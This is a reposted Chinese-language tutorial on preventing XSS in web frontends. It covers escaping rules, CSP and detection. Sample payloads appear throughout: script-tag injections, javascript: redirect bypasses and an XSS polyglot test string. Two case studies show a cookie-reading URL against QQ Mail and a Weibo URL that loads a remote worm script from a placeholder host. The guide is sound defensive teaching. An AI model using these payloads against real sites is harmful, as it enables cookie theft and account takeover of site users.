前端安全系列(一):如何防止XSS攻擊? 轉

前端安全

隨着互聯網的高速發展,信息安全問題已經成爲企業最爲關注的焦點之一,而前端又是引發企業安全問題的高危據點。在移動互聯網時代,前端人員除了傳統的 XSS、CSRF 等安全問題之外,又時常遭遇網絡劫持、非法調用 Hybrid API 等新型安全問題。當然,瀏覽器自身也在不斷在進化和發展,不斷引入 CSP、Same-Site Cookies 等新技術來增強安全性,但是仍存在很多潛在的威脅,這需要前端技術人員不斷進行“查漏補缺”。

近幾年,美團業務高速發展,前端隨之面臨很多安全挑戰,因此積累了大量的實踐經驗。我們梳理了常見的前端安全問題以及對應的解決方案,將會做成一個系列,希望可以幫助前端人員在日常開發中不斷預防和修復安全漏洞。本文是該系列的第一篇。

本文我們會講解 XSS ,主要包括:

  1. XSS 攻擊的介紹
  2. XSS 攻擊的分類
  3. XSS 攻擊的預防和檢測
  4. XSS 攻擊的總結
  5. XSS 攻擊案例

XSS 攻擊的介紹

在開始本文之前,我們先提出一個問題,請判斷以下兩個說法是否正確:

  1. XSS 防範是後端 RD(研發人員)的責任,後端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。
  2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就可以插入到頁面中。

如果你還不能確定答案,那麼可以帶着這些問題向下看,我們將逐步拆解問題。

XSS 漏洞的發生和修復

XSS 攻擊是頁面被注入了惡意的代碼,爲了更形象的介紹,我們用發生在小明同學身邊的事例來進行說明。

一個案例

某天,公司需要一個搜索頁面,根據 URL 參數決定關鍵詞的內容。小明很快把頁面寫好並且上線。代碼如下:

<input type="text" value="<%= getParameter("keyword") %>">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:<%= getParameter("keyword") %>
</div>

然而,在上線後不久,小明就接到了安全組發來的一個神祕鏈接:

http://xxx/search?keyword="><script>alert('XSS');</script>

小明帶着一種不祥的預感點開了這個鏈接[請勿模仿,確認安全的鏈接才能點開]。果然,頁面中彈出了寫着"XSS"的對話框。

可惡,中招了!小明眉頭一皺,發現了其中的奧祕:

當瀏覽器請求 http://xxx/search?keyword="><script>alert('XSS');</script> 時,服務端會解析出請求參數 keyword,得到 "><script>alert('XSS');</script>,拼接到 HTML 中返回給瀏覽器。形成了如下的 HTML:

<input type="text" value=""><script>alert('XSS');</script>">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:"><script>alert('XSS');</script>
</div>

瀏覽器無法分辨出 <script>alert('XSS');</script> 是惡意代碼,因而將其執行。

這裏不僅僅 div 的內容被注入了,而且 input 的 value 屬性也被注入, alert 會彈出兩次。

面對這種情況,我們應該如何進行防範呢?

其實,這只是瀏覽器把用戶的輸入當成了腳本進行了執行。那麼只要告訴瀏覽器這段內容是文本就可以了。

聰明的小明很快找到解決方法,把這個漏洞修復:

<input type="text" value="<%= escapeHTML(getParameter("keyword")) %>">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:<%= escapeHTML(getParameter("keyword")) %>
</div>

escapeHTML() 按照如下規則進行轉義:

字符 轉義後的字符
& &amp;
< &lt;
> &gt;
" &quot;
' &#x27;
/ &#x2F;

經過了轉義函數的處理後,最終瀏覽器接收到的響應爲:

<input type="text" value="&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;">
<button>搜索</button>
<div>
  您搜索的關鍵詞是:&quot;&gt;&lt;script&gt;alert(&#x27;XSS&#x27;);&lt;&#x2F;script&gt;
</div>

惡意代碼都被轉義,不再被瀏覽器執行,而且搜索詞能夠完美的在頁面顯示出來。

通過這個事件,小明學習到了如下知識:

  • 通常頁面中包含的用戶輸入內容都在固定的容器或者屬性內,以文本的形式展示。
  • 攻擊者利用這些頁面的用戶輸入片段,拼接特殊格式的字符串,突破原有位置的限制,形成了代碼片段。
  • 攻擊者通過在目標網站上注入腳本,使之在用戶的瀏覽器上運行,從而引發潛在風險。
  • 通過 HTML 轉義,可以防止 XSS 攻擊。[事情當然沒有這麼簡單啦!請繼續往下看]。

注意特殊的 HTML 屬性、JavaScript API

自從上次事件之後,小明會小心的把插入到頁面中的數據進行轉義。而且他還發現了大部分模板都帶有的轉義配置,讓所有插入到頁面中的數據都默認進行轉義。這樣就不怕不小心漏掉未轉義的變量啦,於是小明的工作又漸漸變得輕鬆起來。

但是,作爲導演的我,不可能讓小明這麼簡單、開心地改 Bug 。

不久,小明又收到安全組的神祕鏈接:http://xxx/?redirect_to=javascript:alert('XSS')。小明不敢大意,趕忙點開頁面。然而,頁面並沒有自動彈出萬惡的“XSS”。

小明打開對應頁面的源碼,發現有以下內容:

<a href="<%= escapeHTML(getParameter("redirect_to")) %>">跳轉...</a>

這段代碼,當攻擊 URL 爲 http://xxx/?redirect_to=javascript:alert('XSS'),服務端響應就成了:

<a href="javascript:alert(&#x27;XSS&#x27;)">跳轉...</a>

雖然代碼不會立即執行,但一旦用戶點擊 a 標籤時,瀏覽器會就會彈出“XSS”。

可惡,又失策了...

在這裏,用戶的數據並沒有在位置上突破我們的限制,仍然是正確的 href 屬性。但其內容並不是我們所預期的類型。

原來不僅僅是特殊字符,連 javascript: 這樣的字符串如果出現在特定的位置也會引發 XSS 攻擊。

小明眉頭一皺,想到了解決辦法:

// 禁止 URL 以 "javascript:" 開頭
xss = getParameter("redirect_to").startsWith('javascript:');
if (!xss) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳轉...
  </a>
} else {
  <a href="/404">
    跳轉...
  </a>
}

只要 URL 的開頭不是 javascript:,就安全了吧?

安全組隨手又扔了一個連接:http://xxx/?redirect_to=jAvascRipt:alert('XSS')

這也能執行?.....好吧,瀏覽器就是這麼強大。

小明欲哭無淚,在判斷 URL 開頭是否爲 javascript: 時,先把用戶輸入轉成了小寫,然後再進行比對。

不過,所謂“道高一尺,魔高一丈”。面對小明的防護策略,安全組就構造了這樣一個連接:

http://xxx/?redirect_to=%20javascript:alert('XSS')

%20javascript:alert('XSS') 經過 URL 解析後變成 javascript:alert('XSS'),這個字符串以空格開頭。這樣攻擊者可以繞過後端的關鍵詞規則,又成功的完成了注入。

最終,小明選擇了白名單的方法,徹底解決了這個漏洞:

// 根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
allowSchemes = ["http", "https"];

valid = isValid(getParameter("redirect_to"), allowSchemes);

if (valid) {
  <a href="<%= escapeHTML(getParameter("redirect_to"))%>">
    跳轉...
  </a>
} else {
  <a href="/404">
    跳轉...
  </a>
}

通過這個事件,小明學習到了如下知識:

  • 做了 HTML 轉義,並不等於高枕無憂。
  • 對於鏈接跳轉,如 <a href="xxx" 或 location.href="xxx",要檢驗其內容,禁止以 javascript: 開頭的鏈接,和其他非法的 scheme。

根據上下文采用不同的轉義規則

某天,小明爲了加快網頁的加載速度,把一個數據通過 JSON 的方式內聯到 HTML 中:

<script>
var initData = <%= data.toJSON() %>
</script>

插入 JSON 的地方不能使用 escapeHTML(),因爲轉義 " 後,JSON 格式會被破壞。

但安全組又發現有漏洞,原來這樣內聯 JSON 也是不安全的:

  • 當 JSON 中包含 U+2028 或 U+2029 這兩個字符時,不能作爲 JavaScript 的字面量使用,否則會拋出語法錯誤。
  • 當 JSON 中包含字符串 </script> 時,當前的 script 標籤將會被閉合,後面的字符串內容瀏覽器會按照 HTML 進行解析;通過增加下一個 <script> 標籤等方法就可以完成注入。

於是我們又要實現一個 escapeEmbedJSON() 函數,對內聯 JSON 進行轉義。

轉義規則如下:

字符 轉義後的字符
U+2028 \u2028
U+2029 \u2029
< \u003c

修復後的代碼如下:

<script>
var initData = <%= escapeEmbedJSON(data.toJSON()) %>

通過這個事件,小明學習到了如下知識:

  • HTML 轉義是非常複雜的,在不同的情況下要採用不同的轉義規則。如果採用了錯誤的轉義規則,很有可能會埋下 XSS 隱患。
  • 應當儘量避免自己寫轉義庫,而應當採用成熟的、業界通用的轉義庫。

漏洞總結

小明的例子講完了,下面我們來系統的看下 XSS 有哪些注入的方法:

  • 在 HTML 中內嵌的文本中,惡意內容以 script 標籤形成注入。
  • 在內聯的 JavaScript 中,拼接的數據突破了原本的限制(字符串,變量,方法名等)。
  • 在標籤屬性中,惡意內容包含引號,從而突破屬性值的限制,注入其他屬性或者標籤。
  • 在標籤的 href、src 等屬性中,包含 javascript: 等可執行代碼。
  • 在 onload、onerror、onclick 等事件中,注入不受控制代碼。
  • 在 style 屬性和標籤中,包含類似 background-image:url("javascript:..."); 的代碼(新版本瀏覽器已經可以防範)。
  • 在 style 屬性和標籤中,包含類似 expression(...) 的 CSS 表達式代碼(新版本瀏覽器已經可以防範)。

總之,如果開發者沒有將用戶輸入的文本進行合適的過濾,就貿然插入到 HTML 中,這很容易造成注入漏洞。攻擊者可以利用漏洞,構造出惡意的代碼指令,進而利用惡意代碼危害數據安全。

XSS 攻擊的分類

通過上述幾個例子,我們已經對 XSS 有了一些認識。

什麼是 XSS

Cross-Site Scripting(跨站腳本攻擊)簡稱 XSS,是一種代碼注入攻擊。攻擊者通過在目標網站上注入惡意腳本,使之在用戶的瀏覽器上運行。利用這些惡意腳本,攻擊者可獲取用戶的敏感信息如 Cookie、SessionID 等,進而危害數據安全。

爲了和 CSS 區分,這裏把攻擊的第一個字母改成了 X,於是叫做 XSS。

XSS 的本質是:惡意代碼未經過濾,與網站正常的代碼混在一起;瀏覽器無法分辨哪些腳本是可信的,導致惡意腳本被執行。

而由於直接在用戶的終端執行,惡意代碼能夠直接獲取用戶的信息,或者利用這些信息冒充用戶向網站發起攻擊者定義的請求。

在部分情況下,由於輸入的限制,注入的惡意腳本比較短。但可以通過引入外部的腳本,並由瀏覽器執行,來完成比較複雜的攻擊策略。

這裏有一個問題:用戶是通過哪種方法“注入”惡意腳本的呢?

不僅僅是業務上的“用戶的 UGC 內容”可以進行注入,包括 URL 上的參數等都可以是攻擊的來源。在處理輸入時,以下內容都不可信:

  • 來自用戶的 UGC 信息
  • 來自第三方的鏈接
  • URL 參數
  • POST 參數
  • Referer (可能來自不可信的來源)
  • Cookie (可能來自其他子域注入)

XSS 分類

根據攻擊的來源,XSS 攻擊可分爲存儲型、反射型和 DOM 型三種。

類型 存儲區* 插入點*
存儲型 XSS 後端數據庫 HTML
反射型 XSS URL HTML
DOM 型 XSS 後端數據庫/前端存儲/URL 前端 JavaScript
  • 存儲區:惡意代碼存放的位置。
  • 插入點:由誰取得惡意代碼,並插入到網頁上。

存儲型 XSS

存儲型 XSS 的攻擊步驟:

  1. 攻擊者將惡意代碼提交到目標網站的數據庫中。
  2. 用戶打開目標網站時,網站服務端將惡意代碼從數據庫取出,拼接在 HTML 中返回給瀏覽器。
  3. 用戶瀏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。
  4. 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操作。

這種攻擊常見於帶有用戶保存數據的網站功能,如論壇發帖、商品評論、用戶私信等。

反射型 XSS

反射型 XSS 的攻擊步驟:

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  2. 用戶打開帶有惡意代碼的 URL 時,網站服務端將惡意代碼從 URL 中取出,拼接在 HTML 中返回給瀏覽器。
  3. 用戶瀏覽器接收到響應後解析執行,混在其中的惡意代碼也被執行。
  4. 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操作。

反射型 XSS 跟存儲型 XSS 的區別是:存儲型 XSS 的惡意代碼存在數據庫裏,反射型 XSS 的惡意代碼存在 URL 裏。

反射型 XSS 漏洞常見於通過 URL 傳遞參數的功能,如網站搜索、跳轉等。

由於需要用戶主動打開惡意的 URL 才能生效,攻擊者往往會結合多種手段誘導用戶點擊。

POST 的內容也可以觸發反射型 XSS,只不過其觸發條件比較苛刻(需要構造表單提交頁面,並引導用戶點擊),所以非常少見。

DOM 型 XSS

DOM 型 XSS 的攻擊步驟:

  1. 攻擊者構造出特殊的 URL,其中包含惡意代碼。
  2. 用戶打開帶有惡意代碼的 URL。
  3. 用戶瀏覽器接收到響應後解析執行,前端 JavaScript 取出 URL 中的惡意代碼並執行。
  4. 惡意代碼竊取用戶數據併發送到攻擊者的網站,或者冒充用戶的行爲,調用目標網站接口執行攻擊者指定的操作。

DOM 型 XSS 跟前兩種 XSS 的區別:DOM 型 XSS 攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript 自身的安全漏洞,而其他兩種 XSS 都屬於服務端的安全漏洞。

XSS 攻擊的預防

通過前面的介紹可以得知,XSS 攻擊有兩大要素:

  1. 攻擊者提交惡意代碼。
  2. 瀏覽器執行惡意代碼。

針對第一個要素:我們是否能夠在用戶輸入的過程,過濾掉用戶輸入的惡意代碼呢?

輸入過濾

在用戶提交時,由前端過濾輸入,然後提交到後端。這樣做是否可行呢?

答案是不可行。一旦攻擊者繞過前端過濾,直接構造請求,就可以提交惡意代碼了。

那麼,換一個過濾時機:後端在寫入數據庫前,對輸入進行過濾,然後把“安全的”內容,返回給前端。這樣是否可行呢?

我們舉一個例子,一個正常的用戶輸入了 5 < 7 這個內容,在寫入數據庫前,被轉義,變成了 5 &lt; 7

問題是:在提交階段,我們並不確定內容要輸出到哪裏。

這裏的“並不確定內容要輸出到哪裏”有兩層含義:

  1. 用戶的輸入內容可能同時提供給前端和客戶端,而一旦經過了 escapeHTML(),客戶端顯示的內容就變成了亂碼( 5 &lt; 7)。
  2. 在前端中,不同的位置所需的編碼也不同。

    • 當 5 &lt; 7 作爲 HTML 拼接頁面時,可以正常顯示:

      <div title="comment">5 &lt; 7</div>
      
    • 當 5 &lt; 7 通過 Ajax 返回,然後賦值給 JavaScript 的變量時,前端得到的字符串就是轉義後的字符。這個內容不能直接用於 Vue 等模板的展示,也不能直接用於內容長度計算。不能用於標題、alert 等。

所以,輸入側過濾能夠在某些情況下解決特定的 XSS 問題,但會引入很大的不確定性和亂碼問題。在防範 XSS 攻擊時應避免此類方法。

當然,對於明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容,進行輸入過濾還是必要的。

既然輸入過濾並非完全可靠,我們就要通過“防止瀏覽器執行惡意代碼”來防範 XSS。這部分分爲兩類:

  • 防止 HTML 中出現注入。
  • 防止 JavaScript 執行時,執行惡意代碼。

預防存儲型和反射型 XSS 攻擊

存儲型和反射型 XSS 都是在服務端取出惡意代碼後,插入到響應 HTML 裏的,攻擊者刻意編寫的“數據”被內嵌到“代碼”中,被瀏覽器所執行。

預防這兩種漏洞,有兩種常見做法:

  • 改成純前端渲染,把代碼和數據分隔開。
  • 對 HTML 做充分轉義。

純前端渲染

純前端渲染的過程:

  1. 瀏覽器先加載一個靜態 HTML,此 HTML 中不包含任何跟業務相關的數據。
  2. 然後瀏覽器執行 HTML 中的 JavaScript。
  3. JavaScript 通過 Ajax 加載業務數據,調用 DOM API 更新到頁面上。

在純前端渲染中,我們會明確的告訴瀏覽器:下面要設置的內容是文本(.innerText),還是屬性(.setAttribute),還是樣式(.style)等等。瀏覽器不會被輕易的被欺騙,執行預期外的代碼了。

但純前端渲染還需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,請參考下文”預防 DOM 型 XSS 攻擊“部分)。

在很多內部、管理系統中,採用純前端渲染是非常合適的。但對於性能要求高,或有 SEO 需求的頁面,我們仍然要面對拼接 HTML 的問題。

轉義 HTML

如果拼接 HTML 是必要的,就需要採用合適的轉義庫,對 HTML 模板各處插入點進行充分的轉義。

常用的模板引擎,如 doT.js、ejs、FreeMarker 等,對於 HTML 轉義通常只有一個規則,就是把 & < > " ' /這幾個字符轉義掉,確實能起到一定的 XSS 防護作用,但並不完善:

XSS 安全漏洞 簡單轉義是否有防護作用
HTML 標籤文字內容
HTML 屬性值
CSS 內聯樣式
內聯 JavaScript
內聯 JSON
跳轉鏈接

所以要完善 XSS 防護措施,我們要使用更完善更細緻的轉義策略。

例如 Java 工程裏,常用的轉義庫爲 org.owasp.encoder。以下代碼引用自 org.owasp.encoder 的官方說明

<!-- HTML 標籤內文字內容 -->
<div><%= Encode.forHtml(UNTRUSTED) %></div>

<!-- HTML 標籤屬性值 -->
<input value="<%= Encode.forHtml(UNTRUSTED) %>" />

<!-- CSS 屬性值 -->
<div style="width:<= Encode.forCssString(UNTRUSTED) %>">

<!-- CSS URL -->
<div style="background:<= Encode.forCssUrl(UNTRUSTED) %>">

<!-- JavaScript 內聯代碼塊 -->
<script>
  var msg = "<%= Encode.forJavaScript(UNTRUSTED) %>";
  alert(msg);
</script>

<!-- JavaScript 內聯代碼塊內嵌 JSON -->
<script>
var __INITIAL_STATE__ = JSON.parse('<%= Encoder.forJavaScript(data.to_json) %>');
</script>

<!-- HTML 標籤內聯監聽器 -->
<button
  onclick="alert('<%= Encode.forJavaScript(UNTRUSTED) %>');">
  click me
</button>

<!-- URL 參數 -->
<a href="/search?value=<%= Encode.forUriComponent(UNTRUSTED) %>&order=1#top">

<!-- URL 路徑 -->
<a href="/page/<%= Encode.forUriComponent(UNTRUSTED) %>">

<!--
  URL.
  注意:要根據項目情況進行過濾,禁止掉 "javascript:" 鏈接、非法 scheme 等
-->
<a href='<%=
  urlValidator.isValid(UNTRUSTED) ?
    Encode.forHtml(UNTRUSTED) :
    "/404"
%>'>
  link
</a>

可見,HTML 的編碼是十分複雜的,在不同的上下文裏要使用相應的轉義規則。

預防 DOM 型 XSS 攻擊

DOM 型 XSS 攻擊,實際上就是網站前端 JavaScript 代碼本身不夠嚴謹,把不可信的數據當作代碼執行了。

在使用 .innerHTML.outerHTMLdocument.write() 時要特別小心,不要把不可信的數據作爲 HTML 插到頁面上,而應儘量使用 .textContent.setAttribute() 等。

如果用 Vue/React 技術棧,並且不使用 v-html/dangerouslySetInnerHTML 功能,就在前端 render 階段避免 innerHTMLouterHTML 的 XSS 隱患。

DOM 中的內聯事件監聽器,如 locationonclickonerroronloadonmouseover 等,<a> 標籤的 href 屬性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作爲代碼運行。如果不可信的數據拼接到字符串中傳遞給這些 API,很容易產生安全隱患,請務必避免。

<!-- 內聯事件監聽器中包含惡意代碼 -->
<img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">

<!-- 鏈接內包含惡意代碼 -->
<a href="UNTRUSTED">1</a>

<script>
// setTimeout()/setInterval() 中調用惡意代碼
setTimeout("UNTRUSTED")
setInterval("UNTRUSTED")

// location 調用惡意代碼
location.href = 'UNTRUSTED'

// eval() 中調用惡意代碼
eval("UNTRUSTED")
</script>

如果項目中有用到這些的話,一定要避免在字符串中拼接不可信數據。

其他 XSS 防範措施

雖然在渲染頁面和執行 JavaScript 時,通過謹慎的轉義可以防止 XSS 的發生,但完全依靠開發的謹慎仍然是不夠的。以下介紹一些通用的方案,可以降低 XSS 帶來的風險和後果。

Content Security Policy

嚴格的 CSP 在 XSS 的防範中可以起到以下的作用:

  • 禁止加載外域代碼,防止複雜的攻擊邏輯。
  • 禁止外域提交,網站被攻擊後,用戶的數據不會泄露到外域。
  • 禁止內聯腳本執行(規則較嚴格,目前發現 GitHub 使用)。
  • 禁止未授權的腳本執行(新特性,Google Map 移動版在使用)。
  • 合理使用上報可以及時發現 XSS,利於儘快修復問題。

關於 CSP 的詳情,請關注前端安全系列後續的文章。

輸入內容長度控制

對於不受信任的輸入,都應該限定一個合理的長度。雖然無法完全防止 XSS 發生,但可以增加 XSS 攻擊的難度。

其他安全措施

  • HTTP-only Cookie: 禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也無法竊取此 Cookie。
  • 驗證碼:防止腳本冒充用戶提交危險操作。

XSS 的檢測

上述經歷讓小明收穫頗豐,他也學會了如何去預防和修復 XSS 漏洞,在日常開發中也具備了相關的安全意識。但對於已經上線的代碼,如何去檢測其中有沒有 XSS 漏洞呢?

經過一番搜索,小明找到了兩個方法:

  1. 使用通用 XSS 攻擊字符串手動檢測 XSS 漏洞。
  2. 使用掃描工具自動檢測 XSS 漏洞。

Unleashing an Ultimate XSS Polyglot一文中,小明發現了這麼一個字符串:

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

它能夠檢測到存在於 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等多種上下文中的 XSS 漏洞,也能檢測 eval()setTimeout()setInterval()Function()innerHTMLdocument.write() 等 DOM 型 XSS 漏洞,並且能繞過一些 XSS 過濾器。

小明只要在網站的各輸入框中提交這個字符串,或者把它拼接到 URL 參數上,就可以進行檢測了。

http://xxx/search?keyword=jaVasCript%3A%2F*-%2F*%60%2F*%60%2F*%27%2F*%22%2F**%2F(%2F*%20*%2FoNcliCk%3Dalert()%20)%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstYle%2F%3C%2FtitLe%2F%3C%2FteXtarEa%2F%3C%2FscRipt%2F--!%3E%3CsVg%2F%3CsVg%2FoNloAd%3Dalert()%2F%2F%3E%3E

除了手動檢測之外,還可以使用自動掃描工具尋找 XSS 漏洞,例如 ArachniMozilla HTTP Observatoryw3af等。

XSS 攻擊的總結

我們回到最開始提出的問題,相信同學們已經有了答案:

  1. XSS 防範是後端 RD 的責任,後端 RD 應該在所有用戶提交數據的接口,對敏感字符進行轉義,才能進行下一步操作。

    不正確。因爲:

    • 防範存儲型和反射型 XSS 是後端 RD 的責任。而 DOM 型 XSS 攻擊不發生在後端,是前端 RD 的責任。防範 XSS 是需要後端 RD 和前端 RD 共同參與的系統工程。
    • 轉義應該在輸出 HTML 時進行,而不是在提交用戶輸入時。
  2. 所有要插入到頁面上的數據,都要通過一個敏感字符過濾函數的轉義,過濾掉通用的敏感字符後,就可以插入到頁面中。

    不正確。
    不同的上下文,如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等,所需要的轉義規則不一致。
    業務 RD 需要選取合適的轉義庫,並針對不同的上下文調用不同的轉義規則。

整體的 XSS 防範是非常複雜和繁瑣的,我們不僅需要在全部需要轉義的位置,對數據進行對應的轉義。而且要防止多餘和錯誤的轉義,避免正常的用戶輸入出現亂碼。

雖然很難通過技術手段完全避免 XSS,但我們可以總結以下原則減少漏洞的產生:

  • 利用模板引擎
    開啓模板引擎自帶的 HTML 轉義功能。例如:
    在 ejs 中,儘量使用 <%= data %> 而不是 <%- data %>
    在 doT.js 中,儘量使用 {{! data } 而不是 {{= data }
    在 FreeMarker 中,確保引擎版本高於 2.3.24,並且選擇正確的 freemarker.core.OutputFormat
  • 避免內聯事件
    儘量不要使用 onLoad="onload('{{data}}')"onClick="go('{{action}}')" 這種拼接內聯事件的寫法。在 JavaScript 中通過 .addEventlistener() 事件綁定會更安全。
  • 避免拼接 HTML
    前端採用拼接 HTML 的方法比較危險,如果框架允許,使用 createElementsetAttribute 之類的方法實現。或者採用比較成熟的渲染框架,如 Vue/React 等。
  • 時刻保持警惕
    在插入位置爲 DOM 屬性、鏈接等位置時,要打起精神,嚴加防範。
  • 增加攻擊難度,降低攻擊後果
    通過 CSP、輸入長度配置、接口安全措施等方法,增加攻擊的難度,降低攻擊的後果。
  • 主動檢測和發現
    可使用 XSS 攻擊字符串和自動掃描工具尋找潛在的 XSS 漏洞。

XSS 攻擊案例

QQ 郵箱 m.exmail.qq.com 域名反射型 XSS 漏洞

攻擊者發現 http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb 這個 URL 的參數 uindomain 未經轉義直接輸出到 HTML 中。

於是攻擊者構建出一個 URL,並引導用戶去點擊:
http://m.exmail.qq.com/cgi-bin/login?uin=aaaa&domain=bbbb%26quot%3B%3Breturn+false%3B%26quot%3B%26lt%3B%2Fscript%26gt%3B%26lt%3Bscript%26gt%3Balert(document.cookie)%26lt%3B%2Fscript%26gt%3B

用戶點擊這個 URL 時,服務端取出 URL 參數,拼接到 HTML 響應中:

<script>
getTop().location.href="/cgi-bin/loginpage?autologin=n&errtype=1&verify=&clientuin=aaa"+"&t="+"&d=bbbb";return false;</script><script>alert(document.cookie)</script>"+"...

瀏覽器接收到響應後就會執行 alert(document.cookie),攻擊者通過 JavaScript 即可竊取當前用戶在 QQ 郵箱域名下的 Cookie ,進而危害數據安全。

新浪微博名人堂反射型 XSS 漏洞

攻擊者發現 http://weibo.com/pub/star/g/xyyyd 這個 URL 的內容未經過濾直接輸出到 HTML 中。

於是攻擊者構建出一個 URL,然後誘導用戶去點擊:

http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>

用戶點擊這個 URL 時,服務端取出請求 URL,拼接到 HTML 響應中:

<li><a href="http://weibo.com/pub/star/g/xyyyd"><script src=//xxxx.cn/image/t.js></script>">按分類檢索</a></li>

瀏覽器接收到響應後就會加載執行惡意腳本 //xxxx.cn/image/t.js,在惡意腳本中利用用戶的登錄狀態進行關注、發微博、發私信等操作,發出的微博和私信可再帶上攻擊 URL,誘導更多人點擊,不斷放大攻擊範圍。這種竊用受害者身份發佈惡意內容,層層放大攻擊範圍的方式,被稱爲“XSS 蠕蟲”。

擴展閱讀:Automatic Context-Aware Escaping

上文我們說到:

  1. 合適的 HTML 轉義可以有效避免 XSS 漏洞。
  2. 完善的轉義庫需要針對上下文制定多種規則,例如 HTML 屬性、HTML 文字內容、HTML 註釋、跳轉鏈接、內聯 JavaScript 字符串、內聯 CSS 樣式表等等。
  3. 業務 RD 需要根據每個插入點所處的上下文,選取不同的轉義規則。

通常,轉義庫是不能判斷插入點上下文的(Not Context-Aware),實施轉義規則的責任就落到了業務 RD 身上,需要每個業務 RD 都充分理解 XSS 的各種情況,並且需要保證每一個插入點使用了正確的轉義規則。

這種機制工作量大,全靠人工保證,很容易造成 XSS 漏洞,安全人員也很難發現隱患。

2009年,Google 提出了一個概念叫做:Automatic Context-Aware Escaping

所謂 Context-Aware,就是說模板引擎在解析模板字符串的時候,就解析模板語法,分析出每個插入點所處的上下文,據此自動選用不同的轉義規則。這樣就減輕了業務 RD 的工作負擔,也減少了人爲帶來的疏漏。

在一個支持 Automatic Context-Aware Escaping 的模板引擎裏,業務 RD 可以這樣定義模板,而無需手動實施轉義規則:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title}}</title>
  </head>
  <body>
    <a href="{{.url}}">{{.content}}</a>
  </body>
</html>

模板引擎經過解析後,得知三個插入點所處的上下文,自動選用相應的轉義規則:

<html>
  <head>
    <meta charset="UTF-8">
    <title>{{.title | htmlescaper}}</title>
  </head>
  <body>
    <a href="{{.url | urlescaper | attrescaper}}">{{.content | htmlescaper}}</a>
  </body>
</html>

目前已經支持 Automatic Context-Aware Escaping 的模板引擎有:

課後作業:XSS 攻擊小遊戲

以下是幾個 XSS 攻擊小遊戲,開發者在網站上故意留下了一些常見的 XSS 漏洞。玩家在網頁上提交相應的輸入,完成 XSS 攻擊即可通關。

在玩遊戲的過程中,請各位讀者仔細思考和回顧本文內容,加深對 XSS 攻擊的理解。

alert(1) to win
prompt(1) to win
XSS game

參考文獻

下期預告

前端安全系列文章將對 XSS、CSRF、網絡劫持、Hybrid 安全等安全議題展開論述。下期我們要討論的是 CSRF 攻擊,敬請關注。

作者介紹

李陽,美團點評前端工程師。2016年加入美團點評,負責美團外賣 Hybrid 頁面性能優化相關工作。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章